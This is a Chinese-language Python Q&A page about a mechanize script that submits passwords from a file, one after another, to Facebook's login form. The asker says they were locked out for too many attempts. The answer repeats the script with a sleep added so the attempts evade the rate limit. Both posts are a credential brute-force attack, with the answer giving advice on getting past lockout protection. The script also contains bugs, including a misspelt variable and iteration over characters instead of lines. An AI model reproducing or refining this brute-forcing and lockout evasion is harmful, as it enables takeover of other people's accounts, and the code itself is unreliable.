试图获取Facebook帐户密码太频繁了

2024-09-27 17:36:32 发布

您现在位置:Python中文网/ 问答频道 /正文

在我试图让一个脚本获取我的密码(我已经知道我帐户的密码)之后,我被锁在了Facebook帐户之外几个小时。我的python脚本是否有问题,或者我尝试使用它的方式是否错误?你知道吗

脚本:

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()

Tags: brformtxt脚本密码forfacebook错误
1条回答
网友
1楼 · 发布于 2024-09-27 17:36:32

这个错误很简单。”尝试太频繁”意味着您在X时间内发送了太多请求。您应该在迭代之间sleep。你知道吗

from time import sleep

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()
    sleep(5)  # 5 seconds

根据迭代次数的不同,5秒可能不够。这是一个反复试验的问题。你知道吗

相关问题 更多 >

    热门问题